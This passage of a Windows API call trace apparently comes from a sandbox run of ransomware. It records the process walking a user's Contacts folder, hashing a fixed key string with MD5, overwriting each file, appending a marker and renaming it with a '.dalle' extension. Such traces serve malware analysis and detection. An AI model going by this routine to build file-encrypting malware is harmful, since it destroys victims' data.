[0119.881] GetLastError () returned 0x0 [0119.881] SetLastError (dwErrCode=0x0) [0119.881] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] GetLastError () returned 0x0 [0119.882] SetLastError (dwErrCode=0x0) [0119.882] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.883] GetLastError () returned 0x0 [0119.883] SetLastError (dwErrCode=0x0) [0119.884] GetLastError () returned 0x0 [0119.884] SetLastError (dwErrCode=0x0) [0119.884] GetLastError () returned 0x0 [0119.884] SetLastError (dwErrCode=0x0) [0119.884] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8f40 | out: hHeap=0x5e0000) returned 1 [0119.884] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.884] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0119.884] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x4a0) returned 0x30940c0 [0119.884] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.884] WriteFile (in: hFile=0x618, lpBuffer=0x30940c0*, nNumberOfBytesToWrite=0x495, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x30940c0*, lpNumberOfBytesWritten=0x388fb24*=0x495, lpOverlapped=0x0) returned 1 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.884] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x49a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.884] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.884] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0119.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0119.884] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.884] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.884] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.884] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.884] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.885] CloseHandle (hObject=0x618) returned 1 [0119.885] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0119.885] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0119.885] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0119.886] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Aclviho ASldjfl.contact.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\aclviho asldjfl.contact.dalle")) returned 1 [0119.886] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.886] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0119.887] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0119.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.887] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0119.887] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.887] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact") returned=".contact" [0119.887] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.888] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=68382) returned 1 [0119.888] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.890] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10af8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.890] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.891] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.891] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.891] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.891] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x10b1e, lpOverlapped=0x0) returned 1 [0119.894] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.894] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0119.894] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.894] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.894] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0119.895] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.895] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.895] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.895] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0119.895] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.895] GetLastError () returned 0x0 [0119.895] SetLastError (dwErrCode=0x0) [0119.895] GetLastError () returned 0x0 [0119.895] SetLastError (dwErrCode=0x0) [0119.895] GetLastError () returned 0x0 [0119.895] SetLastError (dwErrCode=0x0) [0119.895] GetLastError () returned 0x0 [0119.895] SetLastError (dwErrCode=0x0) [0119.895] GetLastError () returned 0x0 [0119.895] SetLastError (dwErrCode=0x0) [0119.895] GetLastError () returned 0x0 [0119.895] SetLastError (dwErrCode=0x0) [0119.895] GetLastError () returned 0x0 [0119.895] SetLastError (dwErrCode=0x0) [0119.895] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.896] SetLastError (dwErrCode=0x0) [0119.896] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] GetLastError () returned 0x0 [0119.897] SetLastError (dwErrCode=0x0) [0119.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8f40 | out: hHeap=0x5e0000) returned 1 [0119.897] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.897] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0119.897] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0119.897] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x10b20) returned 0x3096780 [0119.898] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.899] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x10b19, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb24*=0x10b19, lpOverlapped=0x0) returned 1 [0119.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.899] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x10b1e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0119.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0119.899] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0119.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.899] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.899] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.899] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.899] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.899] CloseHandle (hObject=0x618) returned 1 [0119.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0119.900] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0119.901] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0119.901] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\Administrator.contact.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\administrator.contact.dalle")) returned 1 [0119.909] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.909] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.910] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0119.911] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaa5080, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaa5080, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaa5080, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="asdlfk poopvy.contact", cAlternateFileName="ASDLFK~1.CON")) returned 1 [0119.911] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.911] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c10d8 [0119.911] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.911] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact") returned=".contact" [0119.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0119.911] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=1171) returned 1 [0119.911] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0119.913] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x46d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.913] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.914] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.914] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.914] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.914] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x493, lpOverlapped=0x0) returned 1 [0119.915] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.915] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0119.915] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.915] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.915] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0119.915] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.915] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.916] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.916] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0119.916] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.916] SetLastError (dwErrCode=0x0) [0119.916] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.917] SetLastError (dwErrCode=0x0) [0119.917] GetLastError () returned 0x0 [0119.918] SetLastError (dwErrCode=0x0) [0119.918] GetLastError () returned 0x0 [0119.918] SetLastError (dwErrCode=0x0) [0119.918] GetLastError () returned 0x0 [0119.918] SetLastError (dwErrCode=0x0) [0119.918] GetLastError () returned 0x0 [0119.918] SetLastError (dwErrCode=0x0) [0119.918] GetLastError () returned 0x0 [0119.918] SetLastError (dwErrCode=0x0) [0119.918] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.918] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.918] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8f40 | out: hHeap=0x5e0000) returned 1 [0119.918] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.918] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0119.918] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0119.918] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x490) returned 0x30940c0 [0119.918] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.918] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.918] WriteFile (in: hFile=0x618, lpBuffer=0x30940c0*, nNumberOfBytesToWrite=0x48e, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x30940c0*, lpNumberOfBytesWritten=0x388fb24*=0x48e, lpOverlapped=0x0) returned 1 [0119.918] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.918] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x493, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.918] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.918] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0119.918] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0119.918] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0119.919] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.919] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.919] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, 